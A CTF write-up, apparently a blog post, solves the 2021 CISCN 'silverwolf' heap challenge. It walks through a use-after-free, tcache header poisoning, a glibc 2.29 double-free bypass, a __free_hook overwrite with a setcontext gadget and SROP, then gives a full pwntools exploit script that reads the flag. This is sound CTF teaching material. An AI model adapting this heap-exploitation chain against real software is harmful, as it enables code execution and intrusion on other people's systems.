2021 ciscn online pwn silverwolf

Posted by rubberjohn on Sun, 19 Dec 2021 18:26:40 +0100


It's obviously all green.

add
Only one chunk can be controlled, and the size is limited.

edit
End with enter.
There is an off by null.

show
Just output.

free

There's a uaf.

In fact, compared with lonelywolf, it just opens a sandbox.

From the whole point of view, that index is the kind to tease you.
libc gave 2.27 at that time, but it was found that it was the latest 2.27... It updated the checks on the tcache linked list, which was very outrageous, so it can be done as 2.29.

Then think about how to use that uaf.
uaf, under the condition of obtaining libc, we can directly attack free_hook, get shell.
But the problem is how to get the address of libc.

Now there is an output function, but the size of the chunk is limited.
We can only attack tcache's head
that is
tcache_perthread_struct, we directly attack him first and then pollute him, that is, change the count of 0x250chunk in the counts array to be larger, because the tcache header size is 0x250
Then free it directly, and you can disclose the libc address.

So the problem is, we still need to use double free, because it can only use one chunk.

libc is 2.29. We have to do bypass.

libc2.29 how to restrict double free? He will add a key value to the bk position. If this value is used in free, he will check whether the chunk already exists in the linked list. What is this value?


That is, the address of the content part of our tcache header.
We just need to change him, so our thinking will be very clear.

Bypass libc2 29. Check the double free, pollute the tcache header, and then leak the libc address to attack free_ Just hook.

Pay attention to a small detail. When we attack the tcache header, we must ensure that the linked list is empty, otherwise the value of tcache FD will appear in the linked list, resulting in a malloc error.

According to the topic environment 2.27, it should attack free_hook, change its value to set_context+53
But because I use 2.29, set_context becomes rdx addressing, so free_hook changed to such a gadget.

mov rdx, qword ptr [rdi + 8]; 
mov qword ptr [rsp], rax; 
call qword ptr [rdx + 0x20];

Then fill in setcontext+61 at the position of [chunkptr+8]+0x20 to be free.

This gadget passes

ropper --file libc.so.6 --search "mov rdx"

Come and find

The principle is
The parameter of free() is rdi. Through the conversion of gadget, now rdx is [rdi+8]. We can control this address, and then run setcontext at rdx+20.Then you can control various registers according to rdx.

What setcontext is? You should remember SROP. When SROP is used to restore the stack environment, it uses setcontext, so we can directly use the pwntools template when writing.

Then we set up the rop, read the rop to the bss, and then jump over and execute it.

Then we need to find a place to arrange srop.
The maximum size of a chunk is only 0x78. There is not enough space. Two chunks are needed.

The final effect.
When free, first jump to the gadget.

Then my setcontext+53 is written in the first eight bytes of freechunk. By writing + 0x8 of free chunk as the address where setcontext+53 is written, minus 0x20, I can skip over.


Then there is a srop process.

Then read in rop and just jump over

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

r = process("./silverwolf")

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def allocate(size):
    r.sendlineafter("Your choice: ", "1")
    r.sendlineafter("Index: ", "0")
    r.sendlineafter("Size: ", str(size))

def edit(content):
    r.sendlineafter("Your choice: ", "2")
    r.sendlineafter("Index: ", "0")
    r.sendlineafter("Content: ", content)

def show():
    r.sendlineafter("Your choice: ", "3")
    r.sendlineafter("Index: ", "0")

def delete():
    r.sendlineafter("Your choice: ", "4")
    r.sendlineafter("Index: ", "0")

for i in range(12):
    allocate(0x10)
allocate(0x50)
for i in range(11):
    allocate(0x60)
for i in range(7):
    allocate(0x70)
#Empty tcache bin

allocate(0x78)
delete()
edit('a' * 0x10)
delete()
allocate(0x78) #In order to clear the linked list and prevent malloc from making errors
show()
r.recvuntil("Content: ")
heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000 - 0x1000
print "heap_addr = " + hex(heap_addr)

edit(p64(heap_addr+0x10))
allocate(0x78)
allocate(0x78)

edit('a' * 64)
delete()

show()
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.symbols['setcontext']
print "libc_base = " + hex(libc_base)

#-----------------Empty unsorted bin------------------
allocate(0x78)
allocate(0x78)
allocate(0x78)
allocate(0x78)
allocate(0x40)

#-------------------Reactor SROP---------------------------
magic_gadget = libc_base + 0x150550
bss_addr = libc_base + libc.bss()
flag_addr = bss_addr + 0x200

frame = SigreturnFrame()
frame.rsp = bss_addr + 0x8
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x1000
frame.rip = libc_base + libc.sym['read']

str_frame = str(frame)
print str_frame

pop_rdi = libc_base + 0x26542
pop_rdx_rsi = libc_base + 0x12bdc9
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
pop_rax = libc_base + 0x47cf8
syscall_addr = libc_base + libc.sym['syscall'] + 23
#If you use syscall directly here, the parameters will be changed by the mess in front, so you should use syscall directly

poc = './flag\x00\x00'

poc += p64(pop_rdi)
poc += p64(bss_addr)
poc += p64(pop_rdx_rsi)
poc += p64(0)
poc += p64(0)
poc += p64(pop_rax)
poc += p64(constants.SYS_open)
poc += p64(syscall_addr)

poc += p64(pop_rdi)
poc += p64(0x3)
poc += p64(pop_rdx_rsi)
poc += p64(0x100)
poc += p64(flag_addr)
poc += p64(read_addr)

poc += p64(pop_rdi)
poc += p64(1)
poc += p64(pop_rdx_rsi)
poc += p64(100)
poc += p64(flag_addr)
poc += p64(write_addr)


allocate(0x58)
delete()
#Prepare for writing a frame later

allocate(0x78)
delete()
edit(p64(free_hook))
allocate(0x78)
edit(str_frame[0x80:0xf8])
allocate(0x78)
edit(p64(magic_gadget))

allocate(0x58)
edit(p64(setcontext + 53)  + p64(heap_addr + 0x1430) + str_frame[0x30:0x78])
#gdb.attach(r)
#pause()

delete()

r.sendline(poc)

r.interactive()

Topics: Cyber Security CTF